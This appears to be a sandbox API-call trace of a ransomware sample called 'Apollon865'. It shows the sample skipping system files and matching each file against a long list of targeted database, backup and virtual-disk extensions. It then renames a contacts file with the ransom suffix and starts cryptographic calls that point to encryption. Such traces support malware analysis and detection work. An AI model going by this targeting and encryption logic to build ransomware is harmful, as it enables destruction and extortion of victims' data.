	[0053.601] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.601] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.601] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.601] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1
	[0053.601] lstrcmpiW (lpString1="Administrator.contact", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.601] lstrcmpiW (lpString1="Administrator.contact", lpString2="Apollon865.txt.exe") returned -1
	[0053.601] lstrcmpiW (lpString1="Administrator.contact", lpString2=".") returned 1
	[0053.601] lstrcmpiW (lpString1="Administrator.contact", lpString2="..") returned 1
	[0053.602] lstrcmpiW (lpString1="Administrator.contact", lpString2="windows") returned -1
	[0053.602] lstrcmpiW (lpString1="Administrator.contact", lpString2="bootmgr") returned -1
	[0053.602] lstrcmpiW (lpString1="Administrator.contact", lpString2="temp") returned -1
	[0053.602] lstrcmpiW (lpString1="Administrator.contact", lpString2="pagefile.sys") returned -1
	[0053.602] lstrcmpiW (lpString1="Administrator.contact", lpString2="boot") returned -1
	[0053.602] lstrcmpiW (lpString1="Administrator.contact", lpString2="ids.txt") returned -1
	[0053.602] lstrcmpiW (lpString1="Administrator.contact", lpString2="ntuser.dat") returned -1
	[0053.602] lstrcmpiW (lpString1="Administrator.contact", lpString2="perflogs") returned -1
	[0053.602] lstrcmpiW (lpString1="Administrator.contact", lpString2="MSBuild") returned -1
	[0053.602] lstrlenW (lpString="Administrator.contact") returned 21
	[0053.602] lstrlenW (lpString="C:\\Users\\Default\\Contacts\\*") returned 27
	[0053.602] lstrcpyW (in: lpString1=0x119e63c, lpString2="Administrator.contact" | out: lpString1="Administrator.contact") returned="Administrator.contact"
	[0053.602] lstrlenW (lpString="Administrator.contact") returned 21
	[0053.602] lstrlenW (lpString="Apollon865") returned 10
	[0053.602] lstrcmpiW (lpString1="or.contact", lpString2="Apollon865") returned 1
	[0053.602] lstrlenW (lpString=".dll") returned 4
	[0053.602] lstrcmpiW (lpString1="Administrator.contact", lpString2=".dll") returned 1
	[0053.602] lstrlenW (lpString=".lnk") returned 4
	[0053.602] lstrcmpiW (lpString1="Administrator.contact", lpString2=".lnk") returned 1
	[0053.602] lstrlenW (lpString=".ini") returned 4
	[0053.602] lstrcmpiW (lpString1="Administrator.contact", lpString2=".ini") returned 1
	[0053.602] lstrlenW (lpString=".sys") returned 4
	[0053.602] lstrcmpiW (lpString1="Administrator.contact", lpString2=".sys") returned 1
	[0053.602] lstrlenW (lpString="Administrator.contact") returned 21
	[0053.602] lstrlenW (lpString="bak") returned 3
	[0053.602] lstrcmpiW (lpString1="act", lpString2="bak") returned -1
	[0053.602] lstrlenW (lpString="ba_") returned 3
	[0053.602] lstrcmpiW (lpString1="act", lpString2="ba_") returned -1
	[0053.602] lstrlenW (lpString="dbb") returned 3
	[0053.602] lstrcmpiW (lpString1="act", lpString2="dbb") returned -1
	[0053.602] lstrlenW (lpString="vmdk") returned 4
	[0053.602] lstrcmpiW (lpString1="tact", lpString2="vmdk") returned -1
	[0053.602] lstrlenW (lpString="rar") returned 3
	[0053.602] lstrcmpiW (lpString1="act", lpString2="rar") returned -1
	[0053.603] lstrlenW (lpString="zip") returned 3
	[0053.603] lstrcmpiW (lpString1="act", lpString2="zip") returned -1
	[0053.603] lstrlenW (lpString="tgz") returned 3
	[0053.603] lstrcmpiW (lpString1="act", lpString2="tgz") returned -1
	[0053.603] lstrlenW (lpString="vbox") returned 4
	[0053.603] lstrcmpiW (lpString1="tact", lpString2="vbox") returned -1
	[0053.603] lstrlenW (lpString="vdi") returned 3
	[0053.603] lstrcmpiW (lpString1="act", lpString2="vdi") returned -1
	[0053.603] lstrlenW (lpString="vhd") returned 3
	[0053.603] lstrcmpiW (lpString1="act", lpString2="vhd") returned -1
	[0053.603] lstrlenW (lpString="vhdx") returned 4
	[0053.603] lstrcmpiW (lpString1="tact", lpString2="vhdx") returned -1
	[0053.603] lstrlenW (lpString="avhd") returned 4
	[0053.603] lstrcmpiW (lpString1="tact", lpString2="avhd") returned 1
	[0053.603] lstrlenW (lpString="db") returned 2
	[0053.603] lstrcmpiW (lpString1="ct", lpString2="db") returned -1
	[0053.603] lstrlenW (lpString="db2") returned 3
	[0053.603] lstrcmpiW (lpString1="act", lpString2="db2") returned -1
	[0053.603] lstrlenW (lpString="db3") returned 3
	[0053.603] lstrcmpiW (lpString1="act", lpString2="db3") returned -1
	[0053.603] lstrlenW (lpString="dbf") returned 3
	[0053.603] lstrcmpiW (lpString1="act", lpString2="dbf") returned -1
	[0053.603] lstrlenW (lpString="mdf") returned 3
	[0053.603] lstrcmpiW (lpString1="act", lpString2="mdf") returned -1
	[0053.603] lstrlenW (lpString="mdb") returned 3
	[0053.603] lstrcmpiW (lpString1="act", lpString2="mdb") returned -1
	[0053.603] lstrlenW (lpString="sql") returned 3
	[0053.603] lstrcmpiW (lpString1="act", lpString2="sql") returned -1
	[0053.603] lstrlenW (lpString="sqlite") returned 6
	[0053.603] lstrcmpiW (lpString1="ontact", lpString2="sqlite") returned -1
	[0053.603] lstrlenW (lpString="sqlite3") returned 7
	[0053.603] lstrcmpiW (lpString1="contact", lpString2="sqlite3") returned -1
	[0053.603] lstrlenW (lpString="sqlitedb") returned 8
	[0053.603] lstrcmpiW (lpString1=".contact", lpString2="sqlitedb") returned -1
	[0053.603] lstrlenW (lpString="xml") returned 3
	[0053.603] lstrcmpiW (lpString1="act", lpString2="xml") returned -1
	[0053.604] lstrlenW (lpString="$er") returned 3
	[0053.604] lstrcmpiW (lpString1="act", lpString2="$er") returned 1
	[0053.604] lstrlenW (lpString="4dd") returned 3
	[0053.604] lstrcmpiW (lpString1="act", lpString2="4dd") returned 1
	[0053.604] lstrlenW (lpString="4dl") returned 3
	[0053.604] lstrcmpiW (lpString1="act", lpString2="4dl") returned 1
	[0053.604] lstrlenW (lpString="^^^") returned 3
	[0053.604] lstrcmpiW (lpString1="act", lpString2="^^^") returned 1
	[0053.604] lstrlenW (lpString="abs") returned 3
	[0053.604] lstrcmpiW (lpString1="act", lpString2="abs") returned 1
	[0053.604] lstrlenW (lpString="abx") returned 3
	[0053.604] lstrcmpiW (lpString1="act", lpString2="abx") returned 1
	[0053.604] lstrlenW (lpString="accdb") returned 5
	[0053.604] lstrcmpiW (lpString1="ntact", lpString2="accdb") returned 1
	[0053.604] lstrlenW (lpString="accdc") returned 5
	[0053.604] lstrcmpiW (lpString1="ntact", lpString2="accdc") returned 1
	[0053.604] lstrlenW (lpString="accde") returned 5
	[0053.604] lstrcmpiW (lpString1="ntact", lpString2="accde") returned 1
	[0053.604] lstrlenW (lpString="accdr") returned 5
	[0053.604] lstrcmpiW (lpString1="ntact", lpString2="accdr") returned 1
	[0053.604] lstrlenW (lpString="accdt") returned 5
	[0053.604] lstrcmpiW (lpString1="ntact", lpString2="accdt") returned 1
	[0053.604] lstrlenW (lpString="accdw") returned 5
	[0053.604] lstrcmpiW (lpString1="ntact", lpString2="accdw") returned 1
	[0053.604] lstrlenW (lpString="accft") returned 5
	[0053.604] lstrcmpiW (lpString1="ntact", lpString2="accft") returned 1
	[0053.604] lstrlenW (lpString="adb") returned 3
	[0053.604] lstrcmpiW (lpString1="act", lpString2="adb") returned -1
	[0053.604] lstrlenW (lpString="adb") returned 3
	[0053.604] lstrcmpiW (lpString1="act", lpString2="adb") returned -1
	[0053.604] lstrlenW (lpString="ade") returned 3
	[0053.604] lstrcmpiW (lpString1="act", lpString2="ade") returned -1
	[0053.604] lstrlenW (lpString="adf") returned 3
	[0053.604] lstrcmpiW (lpString1="act", lpString2="adf") returned -1
	[0053.604] lstrlenW (lpString="adn") returned 3
	[0053.605] lstrcmpiW (lpString1="act", lpString2="adn") returned -1
	[0053.605] lstrlenW (lpString="adp") returned 3
	[0053.605] lstrcmpiW (lpString1="act", lpString2="adp") returned -1
	[0053.605] lstrlenW (lpString="alf") returned 3
	[0053.605] lstrcmpiW (lpString1="act", lpString2="alf") returned -1
	[0053.605] lstrlenW (lpString="ask") returned 3
	[0053.605] lstrcmpiW (lpString1="act", lpString2="ask") returned -1
	[0053.605] lstrlenW (lpString="btr") returned 3
	[0053.605] lstrcmpiW (lpString1="act", lpString2="btr") returned -1
	[0053.605] lstrlenW (lpString="cat") returned 3
	[0053.605] lstrcmpiW (lpString1="act", lpString2="cat") returned -1
	[0053.605] lstrlenW (lpString="cdb") returned 3
	[0053.605] lstrcmpiW (lpString1="act", lpString2="cdb") returned -1
	[0053.605] lstrlenW (lpString="ckp") returned 3
	[0053.605] lstrcmpiW (lpString1="act", lpString2="ckp") returned -1
	[0053.605] lstrlenW (lpString="cma") returned 3
	[0053.605] lstrcmpiW (lpString1="act", lpString2="cma") returned -1
	[0053.605] lstrlenW (lpString="cpd") returned 3
	[0053.605] lstrcmpiW (lpString1="act", lpString2="cpd") returned -1
	[0053.605] lstrlenW (lpString="dacpac") returned 6
	[0053.605] lstrcmpiW (lpString1="ontact", lpString2="dacpac") returned 1
	[0053.605] lstrlenW (lpString="dad") returned 3
	[0053.605] lstrcmpiW (lpString1="act", lpString2="dad") returned -1
	[0053.605] lstrlenW (lpString="dadiagrams") returned 10
	[0053.605] lstrcmpiW (lpString1="or.contact", lpString2="dadiagrams") returned 1
	[0053.605] lstrlenW (lpString="daschema") returned 8
	[0053.605] lstrcmpiW (lpString1=".contact", lpString2="daschema") returned -1
	[0053.605] lstrlenW (lpString="db-journal") returned 10
	[0053.605] lstrcmpiW (lpString1="or.contact", lpString2="db-journal") returned 1
	[0053.605] lstrlenW (lpString="db-shm") returned 6
	[0053.605] lstrcmpiW (lpString1="ontact", lpString2="db-shm") returned 1
	[0053.605] lstrlenW (lpString="db-wal") returned 6
	[0053.605] lstrcmpiW (lpString1="ontact", lpString2="db-wal") returned 1
	[0053.605] lstrlenW (lpString="dbc") returned 3
	[0053.605] lstrcmpiW (lpString1="act", lpString2="dbc") returned -1
	[0053.606] lstrlenW (lpString="dbs") returned 3
	[0053.606] lstrcmpiW (lpString1="act", lpString2="dbs") returned -1
	[0053.606] lstrlenW (lpString="dbt") returned 3
	[0053.606] lstrcmpiW (lpString1="act", lpString2="dbt") returned -1
	[0053.606] lstrlenW (lpString="dbv") returned 3
	[0053.606] lstrcmpiW (lpString1="act", lpString2="dbv") returned -1
	[0053.606] lstrlenW (lpString="dbx") returned 3
	[0053.606] lstrcmpiW (lpString1="act", lpString2="dbx") returned -1
	[0053.606] lstrlenW (lpString="dcb") returned 3
	[0053.606] lstrcmpiW (lpString1="act", lpString2="dcb") returned -1
	[0053.606] lstrlenW (lpString="dct") returned 3
	[0053.606] lstrcmpiW (lpString1="act", lpString2="dct") returned -1
	[0053.606] lstrlenW (lpString="dcx") returned 3
	[0053.606] lstrcmpiW (lpString1="act", lpString2="dcx") returned -1
	[0053.606] lstrlenW (lpString="ddl") returned 3
	[0053.606] lstrcmpiW (lpString1="act", lpString2="ddl") returned -1
	[0053.606] lstrlenW (lpString="dlis") returned 4
	[0053.606] lstrcmpiW (lpString1="tact", lpString2="dlis") returned 1
	[0053.606] lstrlenW (lpString="dp1") returned 3
	[0053.606] lstrcmpiW (lpString1="act", lpString2="dp1") returned -1
	[0053.606] lstrlenW (lpString="dqy") returned 3
	[0053.606] lstrcmpiW (lpString1="act", lpString2="dqy") returned -1
	[0053.606] lstrlenW (lpString="dsk") returned 3
	[0053.606] lstrcmpiW (lpString1="act", lpString2="dsk") returned -1
	[0053.606] lstrlenW (lpString="dsn") returned 3
	[0053.606] lstrcmpiW (lpString1="act", lpString2="dsn") returned -1
	[0053.606] lstrlenW (lpString="dtsx") returned 4
	[0053.606] lstrcmpiW (lpString1="tact", lpString2="dtsx") returned 1
	[0053.606] lstrlenW (lpString="dxl") returned 3
	[0053.606] lstrcmpiW (lpString1="act", lpString2="dxl") returned -1
	[0053.606] lstrlenW (lpString="eco") returned 3
	[0053.606] lstrcmpiW (lpString1="act", lpString2="eco") returned -1
	[0053.606] lstrlenW (lpString="ecx") returned 3
	[0053.606] lstrcmpiW (lpString1="act", lpString2="ecx") returned -1
	[0053.607] lstrlenW (lpString="edb") returned 3
	[0053.607] lstrcmpiW (lpString1="act", lpString2="edb") returned -1
	[0053.607] lstrlenW (lpString="epim") returned 4
	[0053.607] lstrcmpiW (lpString1="tact", lpString2="epim") returned 1
	[0053.607] lstrlenW (lpString="fcd") returned 3
	[0053.607] lstrcmpiW (lpString1="act", lpString2="fcd") returned -1
	[0053.607] lstrlenW (lpString="fdb") returned 3
	[0053.607] lstrcmpiW (lpString1="act", lpString2="fdb") returned -1
	[0053.607] lstrlenW (lpString="fic") returned 3
	[0053.607] lstrcmpiW (lpString1="act", lpString2="fic") returned -1
	[0053.607] lstrlenW (lpString="flexolibrary") returned 12
	[0053.607] lstrcmpiW (lpString1="ator.contact", lpString2="flexolibrary") returned -1
	[0053.607] lstrlenW (lpString="fm5") returned 3
	[0053.607] lstrcmpiW (lpString1="act", lpString2="fm5") returned -1
	[0053.607] lstrlenW (lpString="fmp") returned 3
	[0053.607] lstrcmpiW (lpString1="act", lpString2="fmp") returned -1
	[0053.607] lstrlenW (lpString="fmp12") returned 5
	[0053.607] lstrcmpiW (lpString1="ntact", lpString2="fmp12") returned 1
	[0053.607] lstrlenW (lpString="fmpsl") returned 5
	[0053.607] lstrcmpiW (lpString1="ntact", lpString2="fmpsl") returned 1
	[0053.607] lstrlenW (lpString="fol") returned 3
	[0053.607] lstrcmpiW (lpString1="act", lpString2="fol") returned -1
	[0053.607] lstrlenW (lpString="fp3") returned 3
	[0053.607] lstrcmpiW (lpString1="act", lpString2="fp3") returned -1
	[0053.607] lstrlenW (lpString="fp4") returned 3
	[0053.607] lstrcmpiW (lpString1="act", lpString2="fp4") returned -1
	[0053.607] lstrlenW (lpString="fp5") returned 3
	[0053.607] lstrcmpiW (lpString1="act", lpString2="fp5") returned -1
	[0053.607] lstrlenW (lpString="fp7") returned 3
	[0053.607] lstrcmpiW (lpString1="act", lpString2="fp7") returned -1
	[0053.607] lstrlenW (lpString="fpt") returned 3
	[0053.607] lstrcmpiW (lpString1="act", lpString2="fpt") returned -1
	[0053.607] lstrlenW (lpString="frm") returned 3
	[0053.607] lstrcmpiW (lpString1="act", lpString2="frm") returned -1
	[0053.607] lstrlenW (lpString="gdb") returned 3
	[0053.607] lstrcmpiW (lpString1="act", lpString2="gdb") returned -1
	[0053.608] lstrlenW (lpString="gdb") returned 3
	[0053.608] lstrcmpiW (lpString1="act", lpString2="gdb") returned -1
	[0053.608] lstrlenW (lpString="grdb") returned 4
	[0053.608] lstrcmpiW (lpString1="tact", lpString2="grdb") returned 1
	[0053.608] lstrlenW (lpString="gwi") returned 3
	[0053.608] lstrcmpiW (lpString1="act", lpString2="gwi") returned -1
	[0053.608] lstrlenW (lpString="hdb") returned 3
	[0053.608] lstrcmpiW (lpString1="act", lpString2="hdb") returned -1
	[0053.608] lstrlenW (lpString="his") returned 3
	[0053.608] lstrcmpiW (lpString1="act", lpString2="his") returned -1
	[0053.608] lstrlenW (lpString="ib") returned 2
	[0053.608] lstrcmpiW (lpString1="ct", lpString2="ib") returned -1
	[0053.608] lstrlenW (lpString="idb") returned 3
	[0053.608] lstrcmpiW (lpString1="act", lpString2="idb") returned -1
	[0053.608] lstrlenW (lpString="ihx") returned 3
	[0053.608] lstrcmpiW (lpString1="act", lpString2="ihx") returned -1
	[0053.608] lstrlenW (lpString="itdb") returned 4
	[0053.608] lstrcmpiW (lpString1="tact", lpString2="itdb") returned 1
	[0053.608] lstrlenW (lpString="itw") returned 3
	[0053.608] lstrcmpiW (lpString1="act", lpString2="itw") returned -1
	[0053.608] lstrlenW (lpString="jet") returned 3
	[0053.608] lstrcmpiW (lpString1="act", lpString2="jet") returned -1
	[0053.608] lstrlenW (lpString="jtx") returned 3
	[0053.608] lstrcmpiW (lpString1="act", lpString2="jtx") returned -1
	[0053.608] lstrlenW (lpString="kdb") returned 3
	[0053.608] lstrcmpiW (lpString1="act", lpString2="kdb") returned -1
	[0053.608] lstrlenW (lpString="kexi") returned 4
	[0053.608] lstrcmpiW (lpString1="tact", lpString2="kexi") returned 1
	[0053.608] lstrlenW (lpString="kexic") returned 5
	[0053.608] lstrcmpiW (lpString1="ntact", lpString2="kexic") returned 1
	[0053.608] lstrlenW (lpString="kexis") returned 5
	[0053.608] lstrcmpiW (lpString1="ntact", lpString2="kexis") returned 1
	[0053.608] lstrlenW (lpString="lgc") returned 3
	[0053.608] lstrcmpiW (lpString1="act", lpString2="lgc") returned -1
	[0053.609] lstrlenW (lpString="lwx") returned 3
	[0053.609] lstrcmpiW (lpString1="act", lpString2="lwx") returned -1
	[0053.609] lstrlenW (lpString="maf") returned 3
	[0053.609] lstrcmpiW (lpString1="act", lpString2="maf") returned -1
	[0053.609] lstrlenW (lpString="maq") returned 3
	[0053.609] lstrcmpiW (lpString1="act", lpString2="maq") returned -1
	[0053.609] lstrlenW (lpString="mar") returned 3
	[0053.609] lstrcmpiW (lpString1="act", lpString2="mar") returned -1
	[0053.609] lstrlenW (lpString="marshal") returned 7
	[0053.609] lstrcmpiW (lpString1="contact", lpString2="marshal") returned -1
	[0053.609] lstrlenW (lpString="mas") returned 3
	[0053.609] lstrcmpiW (lpString1="act", lpString2="mas") returned -1
	[0053.609] lstrlenW (lpString="mav") returned 3
	[0053.609] lstrcmpiW (lpString1="act", lpString2="mav") returned -1
	[0053.609] lstrlenW (lpString="maw") returned 3
	[0053.609] lstrcmpiW (lpString1="act", lpString2="maw") returned -1
	[0053.609] lstrlenW (lpString="mdbhtml") returned 7
	[0053.609] lstrcmpiW (lpString1="contact", lpString2="mdbhtml") returned -1
	[0053.609] lstrlenW (lpString="mdn") returned 3
	[0053.609] lstrcmpiW (lpString1="act", lpString2="mdn") returned -1
	[0053.609] lstrlenW (lpString="mdt") returned 3
	[0053.609] lstrcmpiW (lpString1="act", lpString2="mdt") returned -1
	[0053.609] lstrlenW (lpString="mfd") returned 3
	[0053.609] lstrcmpiW (lpString1="act", lpString2="mfd") returned -1
	[0053.609] lstrlenW (lpString="mpd") returned 3
	[0053.609] lstrcmpiW (lpString1="act", lpString2="mpd") returned -1
	[0053.609] lstrlenW (lpString="mrg") returned 3
	[0053.609] lstrcmpiW (lpString1="act", lpString2="mrg") returned -1
	[0053.609] lstrlenW (lpString="mud") returned 3
	[0053.609] lstrcmpiW (lpString1="act", lpString2="mud") returned -1
	[0053.609] lstrlenW (lpString="mwb") returned 3
	[0053.609] lstrcmpiW (lpString1="act", lpString2="mwb") returned -1
	[0053.609] lstrlenW (lpString="myd") returned 3
	[0053.609] lstrcmpiW (lpString1="act", lpString2="myd") returned -1
	[0053.609] lstrlenW (lpString="ndf") returned 3
	[0053.610] lstrcmpiW (lpString1="act", lpString2="ndf") returned -1
	[0053.610] lstrlenW (lpString="nnt") returned 3
	[0053.610] lstrcmpiW (lpString1="act", lpString2="nnt") returned -1
	[0053.610] lstrlenW (lpString="nrmlib") returned 6
	[0053.610] lstrcmpiW (lpString1="ontact", lpString2="nrmlib") returned 1
	[0053.610] lstrlenW (lpString="ns2") returned 3
	[0053.610] lstrcmpiW (lpString1="act", lpString2="ns2") returned -1
	[0053.610] lstrlenW (lpString="ns3") returned 3
	[0053.610] lstrcmpiW (lpString1="act", lpString2="ns3") returned -1
	[0053.610] lstrlenW (lpString="ns4") returned 3
	[0053.610] lstrcmpiW (lpString1="act", lpString2="ns4") returned -1
	[0053.610] lstrlenW (lpString="nsf") returned 3
	[0053.610] lstrcmpiW (lpString1="act", lpString2="nsf") returned -1
	[0053.610] lstrlenW (lpString="nv") returned 2
	[0053.610] lstrcmpiW (lpString1="ct", lpString2="nv") returned -1
	[0053.610] lstrlenW (lpString="nv2") returned 3
	[0053.610] lstrcmpiW (lpString1="act", lpString2="nv2") returned -1
	[0053.610] lstrlenW (lpString="nwdb") returned 4
	[0053.610] lstrcmpiW (lpString1="tact", lpString2="nwdb") returned 1
	[0053.610] lstrlenW (lpString="nyf") returned 3
	[0053.610] lstrcmpiW (lpString1="act", lpString2="nyf") returned -1
	[0053.610] lstrlenW (lpString="odb") returned 3
	[0053.610] lstrcmpiW (lpString1="act", lpString2="odb") returned -1
	[0053.610] lstrlenW (lpString="odb") returned 3
	[0053.610] lstrcmpiW (lpString1="act", lpString2="odb") returned -1
	[0053.610] lstrlenW (lpString="oqy") returned 3
	[0053.610] lstrcmpiW (lpString1="act", lpString2="oqy") returned -1
	[0053.610] lstrlenW (lpString="ora") returned 3
	[0053.610] lstrcmpiW (lpString1="act", lpString2="ora") returned -1
	[0053.610] lstrlenW (lpString="orx") returned 3
	[0053.610] lstrcmpiW (lpString1="act", lpString2="orx") returned -1
	[0053.610] lstrlenW (lpString="owc") returned 3
	[0053.610] lstrcmpiW (lpString1="act", lpString2="owc") returned -1
	[0053.610] lstrlenW (lpString="p96") returned 3
	[0053.610] lstrcmpiW (lpString1="act", lpString2="p96") returned -1
	[0053.610] lstrlenW (lpString="p97") returned 3
	[0053.611] lstrcmpiW (lpString1="act", lpString2="p97") returned -1
	[0053.611] lstrlenW (lpString="pan") returned 3
	[0053.611] lstrcmpiW (lpString1="act", lpString2="pan") returned -1
	[0053.611] lstrlenW (lpString="pdb") returned 3
	[0053.611] lstrcmpiW (lpString1="act", lpString2="pdb") returned -1
	[0053.611] lstrlenW (lpString="pdm") returned 3
	[0053.611] lstrcmpiW (lpString1="act", lpString2="pdm") returned -1
	[0053.611] lstrlenW (lpString="pnz") returned 3
	[0053.611] lstrcmpiW (lpString1="act", lpString2="pnz") returned -1
	[0053.611] lstrlenW (lpString="qry") returned 3
	[0053.611] lstrcmpiW (lpString1="act", lpString2="qry") returned -1
	[0053.611] lstrlenW (lpString="qvd") returned 3
	[0053.611] lstrcmpiW (lpString1="act", lpString2="qvd") returned -1
	[0053.611] lstrlenW (lpString="rbf") returned 3
	[0053.611] lstrcmpiW (lpString1="act", lpString2="rbf") returned -1
	[0053.611] lstrlenW (lpString="rctd") returned 4
	[0053.611] lstrcmpiW (lpString1="tact", lpString2="rctd") returned 1
	[0053.611] lstrlenW (lpString="rod") returned 3
	[0053.611] lstrcmpiW (lpString1="act", lpString2="rod") returned -1
	[0053.611] lstrlenW (lpString="rodx") returned 4
	[0053.611] lstrcmpiW (lpString1="tact", lpString2="rodx") returned 1
	[0053.611] lstrlenW (lpString="rpd") returned 3
	[0053.611] lstrcmpiW (lpString1="act", lpString2="rpd") returned -1
	[0053.611] lstrlenW (lpString="rsd") returned 3
	[0053.611] lstrcmpiW (lpString1="act", lpString2="rsd") returned -1
	[0053.611] lstrlenW (lpString="sas7bdat") returned 8
	[0053.611] lstrcmpiW (lpString1=".contact", lpString2="sas7bdat") returned -1
	[0053.611] lstrlenW (lpString="sbf") returned 3
	[0053.611] lstrcmpiW (lpString1="act", lpString2="sbf") returned -1
	[0053.611] lstrlenW (lpString="scx") returned 3
	[0053.611] lstrcmpiW (lpString1="act", lpString2="scx") returned -1
	[0053.611] lstrlenW (lpString="sdb") returned 3
	[0053.611] lstrcmpiW (lpString1="act", lpString2="sdb") returned -1
	[0053.611] lstrlenW (lpString="sdc") returned 3
	[0053.611] lstrcmpiW (lpString1="act", lpString2="sdc") returned -1
	[0053.611] lstrlenW (lpString="sdf") returned 3
	[0053.612] lstrcmpiW (lpString1="act", lpString2="sdf") returned -1
	[0053.612] lstrlenW (lpString="sis") returned 3
	[0053.612] lstrcmpiW (lpString1="act", lpString2="sis") returned -1
	[0053.612] lstrlenW (lpString="spq") returned 3
	[0053.612] lstrcmpiW (lpString1="act", lpString2="spq") returned -1
	[0053.612] lstrlenW (lpString="te") returned 2
	[0053.612] lstrcmpiW (lpString1="ct", lpString2="te") returned -1
	[0053.612] lstrlenW (lpString="teacher") returned 7
	[0053.612] lstrcmpiW (lpString1="contact", lpString2="teacher") returned -1
	[0053.612] lstrlenW (lpString="tmd") returned 3
	[0053.612] lstrcmpiW (lpString1="act", lpString2="tmd") returned -1
	[0053.612] lstrlenW (lpString="tps") returned 3
	[0053.612] lstrcmpiW (lpString1="act", lpString2="tps") returned -1
	[0053.612] lstrlenW (lpString="trc") returned 3
	[0053.612] lstrcmpiW (lpString1="act", lpString2="trc") returned -1
	[0053.613] lstrlenW (lpString="trc") returned 3
	[0053.613] lstrcmpiW (lpString1="act", lpString2="trc") returned -1
	[0053.613] lstrlenW (lpString="trm") returned 3
	[0053.613] lstrcmpiW (lpString1="act", lpString2="trm") returned -1
	[0053.613] lstrlenW (lpString="udb") returned 3
	[0053.613] lstrcmpiW (lpString1="act", lpString2="udb") returned -1
	[0053.613] lstrlenW (lpString="udl") returned 3
	[0053.613] lstrcmpiW (lpString1="act", lpString2="udl") returned -1
	[0053.613] lstrlenW (lpString="usr") returned 3
	[0053.613] lstrcmpiW (lpString1="act", lpString2="usr") returned -1
	[0053.613] lstrlenW (lpString="v12") returned 3
	[0053.613] lstrcmpiW (lpString1="act", lpString2="v12") returned -1
	[0053.613] lstrlenW (lpString="vis") returned 3
	[0053.613] lstrcmpiW (lpString1="act", lpString2="vis") returned -1
	[0053.613] lstrlenW (lpString="vpd") returned 3
	[0053.613] lstrcmpiW (lpString1="act", lpString2="vpd") returned -1
	[0053.613] lstrlenW (lpString="vvv") returned 3
	[0053.613] lstrcmpiW (lpString1="act", lpString2="vvv") returned -1
	[0053.613] lstrlenW (lpString="wdb") returned 3
	[0053.614] lstrcmpiW (lpString1="act", lpString2="wdb") returned -1
	[0053.614] lstrlenW (lpString="wmdb") returned 4
	[0053.614] lstrcmpiW (lpString1="tact", lpString2="wmdb") returned -1
	[0053.614] lstrlenW (lpString="wrk") returned 3
	[0053.614] lstrcmpiW (lpString1="act", lpString2="wrk") returned -1
	[0053.614] lstrlenW (lpString="xdb") returned 3
	[0053.614] lstrcmpiW (lpString1="act", lpString2="xdb") returned -1
	[0053.614] lstrlenW (lpString="xld") returned 3
	[0053.614] lstrcmpiW (lpString1="act", lpString2="xld") returned -1
	[0053.614] lstrlenW (lpString="xmlff") returned 5
	[0053.614] lstrcmpiW (lpString1="ntact", lpString2="xmlff") returned -1
	[0053.614] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Contacts\\Administrator.contact.Apollon865") returned 58
	[0053.614] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\Default\\Contacts\\Administrator.contact.Apollon865" (normalized: "c:\\users\\default\\contacts\\administrator.contact.apollon865"), dwFlags=0x1) returned 1
	[0053.615] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts\\Administrator.contact.Apollon865" (normalized: "c:\\users\\default\\contacts\\administrator.contact.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.615] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=68382) returned 1
	[0053.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0053.615] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0053.616] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.616] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0053.616] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10e20, lpName=0x0) returned 0x150
	[0053.617] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10e20) returned 0x120000
	[0053.745] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0053.746] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.746] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0053.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.746] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
